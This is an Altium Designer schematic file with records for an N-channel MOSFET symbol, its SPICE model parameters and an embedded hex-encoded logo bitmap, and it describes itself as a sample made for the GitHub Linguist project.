(max)|NAME=PackageDescription|UNIQUEID=WKRGPWUF\r\n|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=33|PINLENGTH=20|LOCATION.X=500|LOCATION.Y=510|NAME=D|DESIGNATOR=1\r\n|RECORD=41|OWNERINDEX=75|OWNERPARTID=-1|LOCATION.X=500|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=RMYWLMKL|NAME=PinUniqueId|UNIQUEID=TFDWJEER\r\n|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=34|PINLENGTH=20|LOCATION.X=480|LOCATION.Y=500|NAME=G|DESIGNATOR=2\r\n|RECORD=41|OWNERINDEX=77|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=500|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=PTBOGPQG|NAME=PinUniqueId|UNIQUEID=DFXMFIVI\r\n|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=35|PINLENGTH=20|LOCATION.X=500|LOCATION.Y=490|NAME=S|DESIGNATOR=3\r\n|RECORD=41|OWNERINDEX=79|OWNERPARTID=-1|LOCATION.X=500|LOCATION.Y=490|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=CQTFLVHW|NAME=PinUniqueId|UNIQUEID=ZQFVUDKT\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=10|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=490|Y2=507\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=11|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=500|X2=490|Y2=500\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=12|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=493|X2=490|Y2=493\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=13|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=500|X2=500|Y2=490\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=14|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=488|Y1=509|X2=488|Y2=491\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=15|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=509|X2=490|Y2=505\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=16|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=498|X2=490|Y2=502\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=17|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=491|X2=490|Y2=495\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=18|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=480|Y1=500|X2=488|Y2=500\r\n|RECORD=7|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=19|OWNERPARTID=1|COLOR=16711680|AREACOLOR=16711680|ISSOLID=T|LOCATIONCOUNT=3|X1=490|Y1=500|X2=496|Y2=498|X3=496|Y3=502\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=20|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=500|Y2=510\r\n|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=21|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=500|Y2=510\r\n|RECORD=34|OWNERINDEX=67|INDEXINSHEET=-1|OWNERPARTID=-1|LOCATION.X=503|LOCATION.Y=501|COLOR=8388608|FONTID=1|TEXT=Q1|NAME=Designator|READONLYSTATE=1|UNIQUEID=XHJQVISW\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=-1|OWNERPARTID=-1|LOCATION.X=503|LOCATION.Y=491|COLOR=8388608|FONTID=1|TEXT=MOSFET-N|NAME=Comment|UNIQUEID=NCMFURXY\r\n|RECORD=44|OWNERINDEX=67\r\n|RECORD=45|OWNERINDEX=95|INDEXINSHEET=-1|DESCRIPTION=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm (max)|USECOMPONENTLIBRARY=T|MODELNAME=E3|MODELTYPE=PCBLIB|DATAFILECOUNT=1|MODELDATAFILEENTITY0=E3|MODELDATAFILEKIND0=PCBLib|ISCURRENT=T|DATALINKSLOCKED=T|DATABASEDATALINKSLOCKED=T|INTEGRATEDMODEL=T|DATABASEMODEL=T|UNIQUEID=LFQKQZIV\r\n|RECORD=46|OWNERINDEX=96\r\n|RECORD=48|OWNERINDEX=96\r\n|RECORD=45|OWNERINDEX=95|INDEXINSHEET=-1|DESCRIPTION=MOSFET-N|USECOMPONENTLIBRARY=T|MODELNAME=NMOS|MODELTYPE=SIM|ISCURRENT=T|DATALINKSLOCKED=T|DATABASEDATALINKSLOCKED=T|INTEGRATEDMODEL=T|DATABASEMODEL=T|UNIQUEID=VGDOZKJA\r\n|RECORD=46|OWNERINDEX=99\r\n|RECORD=48|OWNERINDEX=99\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=M|NAME=Spice Prefix|UNIQUEID=IWLHANPG\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|%UTF8%TEXT=@DESIGNATOR %1 %2 %3 %3 @MODEL ?LENGTH¦L=@LENGTH¦ ?WIDTH¦W=@WIDTH¦ ?\"DRAIN AREA\"¦AD=@\"DRAIN AREA\"¦ ?\"SOURCE AREA\"¦AS=@\"SOURCE AREA\"¦ ?\"DRAIN PERIMETER\"¦PD=@\"DRAIN PERIMETER\"¦ ?\"SOURCE PERIMETER\"¦PS=@\"SOURCE PERIMETER\"¦ ?NRD¦NRD=@NRD¦ ?NRS¦NRS=@NRS¦ &\"STARTING CONDITION\" ?\"INITIAL D-S VOLTAGE\"¦IC=@\"INITIAL D-S VOLTAGE\", @\"INITIAL G-S VOLTAGE\", @\"INITIAL B-S VOLTAGE\"¦ ?TEMPERATURE¦TEMP=@TEMPERATURE¦|||TEXT=@DESIGNATOR %1 %2 %3 %3 @MODEL ?LENGTHL=@LENGTH ?WIDTHW=@WIDTH ?\"DRAIN AREA\"AD=@\"DRAIN AREA\" ?\"SOURCE AREA\"AS=@\"SOURCE AREA\" ?\"DRAIN PERIMETER\"PD=@\"DRAIN PERIMETER\" ?\"SOURCE PERIMETER\"PS=@\"SOURCE PERIMETER\" ?NRDNRD=@NRD ?NRSNRS=@NRS &\"STARTING CONDITION\" ?\"INITIAL D-S VOLTAGE\"IC=@\"INITIAL D-S VOLTAGE\", @\"INITIAL G-S VOLTAGE\", @\"INITIAL B-S VOLTAGE\" ?TEMPERATURETEMP=@TEMPERATURE||NAME=Netlist|UNIQUEID=UKDZDPUV\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=Transistor|NAME=Kind|UNIQUEID=FCLGVZVQ\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=MOSFET|NAME=SubKind|UNIQUEID=KFSAMCHS\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Length|UNIQUEID=HTWOJZWX\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Width|UNIQUEID=PJQFWJSG\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Drain Area|UNIQUEID=MHIWZCEI\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Source Area|UNIQUEID=AVXUVPUR\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Drain Perimeter|UNIQUEID=CLSJSGLF\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Source Perimeter|UNIQUEID=GORMIQTA\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Nrd|UNIQUEID=NLNETLTE\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Nrs|UNIQUEID=PNNOBBBZ\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Starting Condition|UNIQUEID=OYCLRIOG\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial D-S Voltage|UNIQUEID=VDPKLSAK\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial G-S Voltage|UNIQUEID=BWHKCPYR\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial B-S Voltage|UNIQUEID=SOUESXDF\r\n|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Temperature|UNIQUEID=MRXJNIJE\r\n|RECORD=209|INDEXINSHEET=34|OWNERPARTID=-1|LOCATION.X=30|LOCATION.Y=700|CORNER.X=300|CORNER.Y=820|AREACOLOR=9895935|FONTID=1|ISSOLID=T|SHOWBORDER=T|ALIGNMENT=1|WORDWRAP=T|CLIPTORECT=T|TEXT=This is a sample Altium project made by Jeremy Blum (@sciguy14 on GitHub). It is meant to serve as a representative example of the formatting of key Altium Designer filetypes, for use by the GitHub Linguist Project: https://github.com/github/linguist|TEXTMARGIN=5|AUTHOR=Author\r\n|HEADER=Icon storage|WEIGHT=1\r\n|BINARY=208|NAME=newAltmLogo.bmp|DATA_LEN=10260|DATA=789CED9D09601445D6C71FB96632C924E42009218424403843B8C34DC2210A222887B7DC7880088A8810119588A2728A1CA21015345|>\r\nE882222872CC8421691430C8B1A360B88024B30BB64D7307BF43793B3ABAABBFF3DC98440BEFAA19CF5BAAABB5F57BF7EF5DEAB3E8337DCE8452E3AFB103577FE3AC4F9C77F3B7FAD43D6E2BF9FDACF8|>\r\nB4203A8F87FE75F9653A74E1DF2F2F2226F6F6FF2F1F1215F5F5FF2F3F3238BC54256AB95FCFDFDC966B35140400005060692DD6EA7A0A0200A0E0EA6BA75EB524848088586865258581885878753BD7|>\r\nAF528222282222323292A2A8AEAD7AF4FD1D1D1D4A041038A8989A1860D1B526C6C2C356AD488E2E2E2283E3E9E121212A871E3C6D4A449136ADAB42925262652B366CDA879F3E6D4A2450B6AD9B225B|>\r\n56AD58A5AB76E4D494949D4A64D1B4A4E4EA6B66DDB52BB76EDA87DFBF6D4A14307EAD8B12375EAD4893A77EE4C292929D4A54B17EADAB52B75EBD68DBA77EF4E3D7AF4A09E3D7B52AF5EBDA877EFDE9|>\r\n49A9A4A696969D4A74F1FEADBB72FF5EBD78FFAF7EF4F37DC70030D1830806EBCF146BAE9A69B68E0C0813468D020BAF9E69B69F0E0C174CB2DB7D090214368E8D0A174EBADB7D26DB7DD46C3860DA3E|>\r\n1C387D388112368E4C89174FBEDB7D31D77DC4177DE7927DD75D75D74F7DD77D33DF7DC43F7DE7B2FDD77DF7D346AD4281A3D7A348D193386C68E1D4BE3C68DA3F1E3C7D384091368E2C48974FFFDF7D|>\r\n3030F3C400F3EF8203DF4D0433469D2249A3C79323DFCF0C33465CA147AE4914768EAD4A9346DDA347AF4D147E9B1C71EA3E9D3A7D3E38F3F4E3366CCA0279E788266CE9C494F3EF924CD9A358B66CF9|>\r\nE4DE9E9E9F4D4534FD19C3973E8E9A79FA6B973E7D233CF3C43CF3EFB2C3DF7DC73346FDE3CCAC8C8A0E79F7F9EE6CF9F4F2FBCF002BDF8E28BB460C1027AE9A597E8E5975FA6575E7985162E5C488B1|>\r\n62DA2C58B17D392254B68E9D2A5B46CD9327AF5D55769F9F2E5F4DA6BAFD18A152B68E5CA95B46AD52A5ABD7A35BDFEFAEBB466CD1A7AE38D37E8CD37DFA4B56BD7D2BA75EB28333393DE7AEB2D7AFBE|>\r\nDB7E99D77DEA1F5EBD7D3860D1BE8DD77DFA5F7DE7B8FB2B2B2E8FDF7DFA70F3EF8803EFCF043FAE8A38FE8E38F3FA68D1B37D2279F7C429B366DA24F3FFD943EFBEC33DABC79337DFEF9E7B465CB16F|>\r\nAE28B2F68EBD6ADF4E5975FD2B66DDB68FBF6EDB463C70EDAB973277DF5D557B46BD72EFAC31FFE40BB77EFA63D7BF6D0D75F7F4D7BF7EEA53FFEF18FB46FDF3EDABF7F3F656767D39FFEF4273A70E00|>\r\n07DF3CD3774F0E041FAF6DB6FE9D0A14374F8F0613A72E4081D3D7A94BEFBEE3B3A76EC187DFFFDF794939343C78F1FA73FFFF9CF74E2C409FAE1871FE8C71F7FA49F7EFA89727373E9E4C993F497BFF|>\r\nC85F2F2F2E8AF7FFD2B9D3A758A4E9F3E4D67CE9CA19F7FFE99CE9E3D4BBFFCF20BFDFAEBAF74EEDC393A7FFE3C5DB87081FEF6B7BFD1C58B17293F3F9F2E5DBA44BFFDF61B151414D0DFFFFE77FAC73|>\r\nFFE41972F5FA6C2C242FAE73FFF49FFFAD7BFE8F7DF7FA7A2A222BA72E50A391C0EFAF7BFFF4DFFF9CF7FE8BFFFFD2FFDEF7FFF2345514822D1C4660F8F6DD97DD8F40F0B1437A8E9514BAE792C09835|>\r\nE392BF549E241AC8923B7487D927892D8FB72A43E493C887FCA06A94F124FD2EC55A94F124FD2FC4DA94F120FE2DD355BEA93C483048E2B92FA24F1204DB6497D927890C029529F249EA4EBAF529F241|>\r\nEA4D15EA94F120F12F69ED4278907095824F549E241FC33A43E493C888557A89A1E90E4FAC6B648EA93C483D8B3A43E493C48D85EA94F120FD2E8BCD4278907E926F549E2491E91FA24F12081DBA53E4|>\r\n93C48E32B529F241E64ACD4278907B1674B7D92789014A94F120FE2BD4EEA93C483B496FA24F1207536487D927890B6529F241EC4FB13A94F120F9222F549E241FC73A43E493CC828A94F120FD2C8A94|>\r\nFC36B7A1092DAC356393F493CC870A94F120FD244EA93C483F8E6487D92789027A53E493C483FA94F120F122FF549E241ACBFD5F40824B58A8D353D0049AD62464D0F4052AB90CB2D124FD2A3A60720A|>\r\n955B4A8E901486A158D6A7A00925A45444D0F4052ABB0D7F40024B58A809A1E804422914824128944F2FF195B4D0F4022914874900175124F22F54922915CABC8F94922915CABD4B2F9C9CBDBCFCFC2E|>\r\n2E7C4A78E979747FBF1B50426DD3263DD99CB8585CEFF9C6C5C36A16F7C80C5C7A3BD5C8768EB93DD1E6873E26F3320C0E6870FEF650B2CC15EF27309A57F632FFF6BFF92C6FEAE1665ADEDA57FB0DB4|>\r\nBDABA7EF81BF565B1068424741D36ECE15757AE58B162E58AE29F572E193E72E41D839A27B56A1018A81E7080EBC0F68AC1D955C32CEED3E0EC2CF6B4977F55440A326E88F4F72E6FE61D10587EAE25F|>\r\nF959E8BDD5EFA0F16EEC0565BE9652FBDF2AEDF95FFC9F5B3C605B096DD107FD5CFA5AD8B7FC377E23A01FF80D256FE65BFF8798BCD78EA585CF7DD6AF4686AEB538E92B766DDBA75999999EB8A7F29F|>\r\nEB9F4FF925F32D7BDB3AC131E817DA1C66517196D7535B63D80DA4DD4EDC812D46840FA3E63E9E3C92A8183A8AF76BA5DD5BBE3ACBED873EDEB966962F84BA88F7EEC917D07BEB36E5DD925CE2CFB5DD|>\r\n96F9C6C784CBC97835F57DD998A1B95995976903BC453E8BCE29D4C46E48D39B72447D935344F459DA0E613576F78FBA3F1CD82F41B69EB537F74218A5968DCBF8BC0E74D1DA96BF12DF0EB8EDA2DD77|>\r\n99F58EAA56E31D1CD2095C89C22E3B645A3744EC9DE2BCF58F268FF909267DD6F281AD0045FE6D0BEDD90C0CE10613C7D2E0099BDE2CCD36C8F56C30F6E8C368887B3365BAF28F9B927CF29CA9A04DDC|>\r\n95BE77D77009D988B6CDD47B81CBF99660EA4B42B79ECA2C13D5636C568F612D2F7A4A96EA6A82E43DF73A0F17BDA67143A07F7939D5CF20427A3F3591AC91EBC3E12382A5EF298E340E6727DF1FEAED|>\r\n169FB6CA29E465952CF2947E6F46FD6B2DF4BDF284A8AAF4E336DBC53C1184B988E2DA831A60ED4BE449F42B68176DF77D3EA236281A94E1465757485502C52C10B9AB37ADC7A533D3D53AC28F1D9A0D|>\r\n9C196ECD103760281FCBBC5212199CBBD449959BAADA7C56ABE757C3B9D553E6B5BFC4F5E1DB72A4A2BAD46A4FB7DE79DA5DBA18A2F1AEB1CB582F1668EA3B42F99920327A386E334BA085E65AA0F278|>\r\n7935462C0D852F2B566DF3053D7C5494E1B1B51E422D4AC0F7B78EB2424B0BC8E30A627D09B5B2369F78633BACDCFA6694D5131594A5644CB173A5A2876DC944EDB94AFDC8B14F749462756CC9DF0401|>\r\n34D1DA7549FFCBAA2864BAD62177799EAA298012AB1D9E036148E11BB32F9FA2E666810F9C3A18D652703DF1424B0395C18546FF4E6DE2D5A9D4D8C26B5F1F5C4131FA49CEC400F28A3FC5D557CED29E|>\r\n795AEDAF75BCFFF64D17BC332BC0DF363EE317318A55DA9C918731934DCD644E821D4540F254C52DDBEB47CD0384B3C9B6647DDE86C7C30C1E7635914DB419403081C6E2F0C2AFA1490392F1A50816F1|>\r\nB092C12CCD47A0B94A70269B4AB7CEF12E5E560DAAAACD3BEDFBAFECCF84BE85A38B978839E78197D0A4C1C4649289DC5C33F070D4FF7117AB8C94C07A5A80DA818F45D945757E86B2ABADD0CE382E24|>\r\nE802647B984DA40640C5DBA47BCC69A1F6B2AF27B8B32E98667B2B001D73C7E8F729BCB189E16D771BFD2CF9F46175C00379EC73F1D8CB2A463F19AB3F4D27F51AB283B8AFD41D47292D0C37357904C0|>\r\n539AD5582DF80C6673AF05D056F34DF958B3B1B3C839A70B6B2ED2124B058F4404103EA09F1BEF4379ED45EE1FC12897945CE4FA1D1CAA5B3CEAF57E72BD7F9B1076E3C4F9DC6064EBB72CEE8BC46CBE|>\r\n965E6284A68696BBF2EA8E59240BE8723663A2843ED40440654C158BEAB64E8046571DC7D276A329A35087DA001F589860185DEDCBBC5AFFB0430A971E34ACCBBDCD5A54F879E7E32E7FD4E564ABDE0D|>\r\n0BEDFFA6A6631F5A93FDDC057EA220DBD558A29D3278A450E98AD4DF91ED0C56478407599D2D0AB388BFF961A606AB25591FD0E6AB18CF3404523010D032A0A5D8253D1828CED2320D38199071B1F526|>\r\nE72BDEFE6123DA67C194A775D2A32BEEF1A442347998BEF5A1A1FA4FD211307A9D0A77A9B41CBB38201656A022C6395EACA3640BAFB136FC70E764B774D71A219DB45F09740A040C303F5359039972AC|>\r\nACC05A6E016C692895CA93C6173CE4FAF376FB150D91E4A9BB4BE565C18BC06AD7798B920F719AED152C2263307092B6B6E87F6C3FD7C0FBF98E9A08C1F55EA5F07BDBDCEF4E4BA9A803E3F2B4177B68|>\r\nB4068412E102FF20C6440CD14656E380DFA49552FD3F80F510EB6A6298AB2C3F9480DF46A714EE9AF7DBF8D12CEA391BBDAC536E3122D4DCDACAB5D2A9F9F7CE117F642DE91E6D6FCA4A4A92467014BF|>\r\nEF274AEAB97DDEACA1CDCF3880DA82CD13BD413BDB97788467C02F2E7EE6354237AB3B2A67EC2A0894FCD1ED69DC2DE530E8609472CC6C84CB7F4357341061A461635DD6AE210DB832B4E13BD84B6F01|>\r\nE28530E8972C6AB12C47AA3AFFFCFB8AE1E77AB2B732CE70CA80648E05B0D030A9DC80FFCF7BF73C6419685D25A3D4179F52C2C714B39FF322E43B9D259E77E1B7EF6456D377141561AFA341B7D60E21|>\r\n0EB2B8CFA48F4497E2195EBC1CC245A81DA03056FDD11CE801AE19EEE9AE224F77C8422175CA1684079ED053267F88B46D880529E607CF7F6C105CAA7F724C5C525DFE5BC451AC72B1D8ADE3FB8B0F43|>\r\n07141CE19BA0C429699384456853E0541FB815F06596EA2830A4EAB1C8816144591C7195043CDF878DD2585EDC30E83C0E68957F9312052090F947352639769AC1D172B4AEEAE5D79CEE7BFA3EEFD367|>\r\n64B859A596A7D36D4E008F6574C1C41A54F5E3004E805CE853AD62D9FB5A2F2157BA1D5B822CE80EA81DCDD95613C6B10FA4217DC7AEE0DE9A42792D92CCE1BF13026897F4946A64C5C77FCF8DA499DC|>\r\n5B7A749B075E8E44CB2C11182CC04686655D84FD4C45D03AA331260995A71FBBC7AA3C61FB15D259B0A0B73937739E7502C12D0F04045429986828C751712EA2328A13DB251A348438F23709B07CF357|>\r\n145EE333A428689037CA6D2A72864705DE29628624C74E0A468EFFA19E9E9E9CF0D564D6FF5915036BB301A6DCAF9A128BFED98F7D46BC7CCB555F2390F54F82740A0480CE0F54306545EAA7867E6A20|>\r\n731DD4448390F5A866963C26438BE76D5AA952B57B958E9FAAFFCB7CE9FD6FC88E595C7549FA6D880E20271FD0F9BE8617B97D8E8C81027A141AA1840FFFD40EC2756777D5F37D195B2232DB67E68487|>\r\n84C7C2F33B6A3B08467BF1F09CC1162A0BCA101A5E181EA8FBCFD27816E6881127C829E30754DAAC658953E79C16F80F9EC5AA5978900DC25A2C9E1C2824EEEF7C75801FDB0C60A96459669AC6F58DB1|>\r\nD26041E645F20DED080CA14964FBCA001B5518CC38B870FA2F89284C065E22433134C1519AF769D35431FE55B139901D6E9078FBF3F5EFBDC7C615833B7AA7013722A3BA734C67D126DC25EC8E2D4230|>\r\nE0954C680CA8E15642C687676F4D5578B4A63198DAF485561F429DA30D4CB4921F715DF101E7F8D9E5704AEBEEE611FD144146AA42877B11341184EF029E03E3022504CB163847022361437959B26C85|>\r\n03A32A09ED2B96C06E0309666C8D6AB3A8C3ED961883067FFFBA325E702DDB43D3BD28FDC54A6BDF55D782EC99C119B08FDD00AF77C044D4002B3042BC5320588383482C8FBA1A5AA1FF4AE9B3E589FF|>\r\nCAA7F829AA0AE92876D810CD6E1658156CD3ABD73B3213BD6318D15980DCFA535A74F3E83A1C824D680F2C20694E000F281A98B59E2C75A2C72A75D8CD3BB7055A1D1067845AAC8CD8C67BF190A99DAC|>\r\n6C640F9A4A1E37FAA97D7853348D7B1B76100722A2B49FC7D0B5F8244367241E409482047881CC506D49E0441C61B0558140C10643C80D750F73CD0EED399891F8C7E13347770311E11E8F8D96216432|>\r\n9D003B5338E69DF18ADCA2B6D84796010BA7C0EEE5647AE439D0C134E2410ADBB9FEC27C8D02C6040399ED3BB6EBA9809038EADEE09AA13630F60038AB3796D9F81F679BACF5930B2637F62E3F7FC600|>\r\n4F960612E6C0883347BB1F650C048243053C8B9F487997B1A4B7869E7814CAE67ABD2947163211A6CD560E727EA85DA3FCFC6505B61D2A8EE874A00B26395475901E3BC1027E9627A2D32D2944782590|>\r\n198FCB85EF00CE1C8FB0DE24B3F260FC89CC109BB1CA6D214C2CD5549A9349DD9E7B3C5CFA0FD6ED680F2ED883AF848AF720736A0D6B2B7A15F1E687F588C50BC057D977FCEB95BE37E00023F880BFC5|>\r\n1A893DD1A2F7D6440E5DFA473DD743197F6D2C7F381D36AB8EA0AD130AA812B631081E270BF665DA0EABED06DD8C13EA278555E741C2621C7A1C2F95BEBC1423F43854E8250206C9E46842E0C147E41E|>\r\nFBAE9614E9F82CCACEA569EF6ECFC14080DA83B59013B5A423DA5FB9CD545F1FF79AC01E5856C35A59FB0B2110173AD53D949D07F0412982144EDDBA0D74AC303D50BCD133F98A819C720A6226BD2A13|>\r\nA227FCAE1D7A3E032C802D680B28D4502E97A2716081320780F1432A0E68A2B654FA23EA67306543B24B0419805BD5B2399B7C4BD30A2916BE627770D2893699E5633712B95868FB06F950B04F6B3B68|>\r\n04F07D4C306BD2C1C6CC7AE6245FBA025BCA3625743D1F7CC575C92667C0E1038297AA042D15C939D24C8D0B740E6C22051C610B369C36DD11956053E023D7A0592E0C2E123D01AF21E2EC8A88206E85|>\r\nE6F6575B7112C89211A506DA0D78A4B12AAF70212182274128CDEAAE745A38BA681D9B6E825BDEB5655A6BA1706E916BC3ED9A0013592FD600B46D9AE6706EA9D5728B2634FB18E402FE4387488CEAEB|>\r\n04C743EBDD9F3B162034A7879D9606EFBB3E2D9F74077F5B0717AA580E9B2068D51ADB52A2064C8F441120BD8576400CC8D9FA5775E388172322B0057E5359CCA4FA13EF8B47DE801C9AA8401F5B6587|>\r\nC132ED3E408F9FDC6982F93F1607524779420E8532B14747588B5137DDBA32E32F512577DA001B59C15ED8BC21A8F88CE2E9818B397CBE948406FD5D3620C543D54576CBF86018562EACE0ED6B96E552|>\r\n6D24CA66FA53821E49AD687061457ABBA3E32A076EB1A50EE96E0688874BD48CC986E0D3D509C4CF87C24304C580A095D0D44F26F15CFFE517432AFE85D376DDC28E3736F35643316F381300FE33A922|>\r\n3D8492004C5A09DBB51EFB4C25180D22FAC01E50DEB9F8A0654088C9B4A65CFC70297F0D2858B16703B9299239E3D8CAECE36AA48502522716458E5D824BED7072019B70D28BE164139388192AB61860|>\r\nC284786D809AC2B3683AB6BD519096C15E24FBCA001F5A65874001A50477597163471A7CCD84D6839DA69A6BC5DC63BCE1F2E5667C30F430D7D4A42B58272D8250A6FE8015CAD9736E6034B702C61332|>\r\nED3909D724834A08621E7D041CEA3D91479860A3596F09065A76540A1F5A3B337EB5C376DDCD1A7209C7E36A061ACEB476CC386AEFF5C448F866B7F1AFA140597F0387BB4C16FA0FDAEE67AA7150F3D5|>\r\n0AC0115833C9AF9A2018597F0B88881F01791C01021D02A6C251029B8451898DF3420E37859EFBA551D581257AB38D10DB042DD56519F2C0F23A1616C41BEB0F7407BFDA5F2888F81E8053696DF07059|>\r\nD5F12ABD406C1B220BDD995323F586ABA320694B884E70D0DA8ED42854923DC2AAB695B0D430DC5D4F6C1D0CFB03058EC0A56ED7D915DA2088051EED3C44E4AC0F17B135801B4847745C380820BEA333|>\r\n8BB17D671D82E248179B54232ABC4E29B30B8F5807B06945BB443A683325B90E9F63D9299ACF10424A332ABB9AC43CF1B2EE12DD72B458C132817B00A9F8A9E906C71F3806168963ECA5D8444F4862C6|>\r\nC2B74D2200FC8EC6F23C85850FA52F579A09C9DBF8126A85382DFB6D56E20A23CA4A14F51C899C27BA01A226FC6CE16622F253446E1535B58032AFA2268FFB3D855128C9B72DB80BA59A8DA1BFE1A102|>\r\n91475C30A0D280D1BC663B4401F6B454291E516509F2669E8931F0C921DC3BE20C2501DA87CDDDAFB91C879959FCAB4F745CBBB17C57C013B74B6A4B2EAE1773712982DD449B2C18AA7E24BDF071A509|>\r\nFBA6540B987D73348A1B2791F472B9853ABA54F04D3D6D6B241B2B6E1B01BBD93C21E28EE2199056669C7EB6227700FAC99DCCA2B4C43DC1DC7F751A70D92592516138406D4410D2F832EEE96B987C9D|>\r\nD0EBE1C5F22AC09A1A94F6DD1F60517D9AF726C8C2ED5AB7BE60D6DDF05ACED958A5E90074467D76D5A1BC4AAC9E1B63A82B9ED45E27D86199AD9AD059940747F2EE15D9F2A707B3FEA479105B59BF38|>\r\nB84A37A04CA542D7DC206141703D5104568E91B5089B004071B03D5E077D03E57ACCADE0AEEAD10C3553E8033DACD42306E04CA1D2D12BD2636E89A717309CF3DC2F340EF7CF1F4BA6FA0F1A669659FF|>\r\n8CE4062A359350C47D59C0B754A6613D5471972055C1D2814BB93AF91708902D595DEEC0AAF375C427A4A9870FDA1076AB2B08CEC0767E78F452F832E6ECF4F741FE8DDF139AB1E75D7A2F176D30C7A8|>\r\n706D45BEC129E7518127840EF9482A007EA5E5600B65F21760233F7F8244D58CE7AAFE88787997BAF4509327009EFA0E899F02061283B2E8FCD660A81D9D3DD35F529193A60B82F6CB81CBA58AC045F0|>\r\n22E023B9F9D0AA0B36BB76840C17ABAC7B8CBD00C19360E71D35518787E4034BA8251C469A1C60EE97AB83F3F79A1CDCF1DAB99F6DED00ED0D6A708EC81622DB558141BB65B77AF99666821691BEB240|>\r\nE4343CB116F5B3C34A0B8E723145EB8C182A11081326F1D62DC4E200C0EAAC6253C270168E238CE2E7DC3580D6D7DF2829516C7B16E68E801BCA26F40211B8F2BD566F910B4BF70BBD08737DC29A21F6|>\r\nBDB78C125A4670403CA0AE3A6260BB5A37080459676B9482DDC9F9FC82715BDD897305F2ACFA2E16ADB4F3418B9BADE65ED44CB6DA8A3897AE51D7006E944C6DBE80B13FE340C28B4DF9E3287FB32EE8|>\r\nD021F0E88A93430F079A5987109B7EB38280617EB51097D221B7A13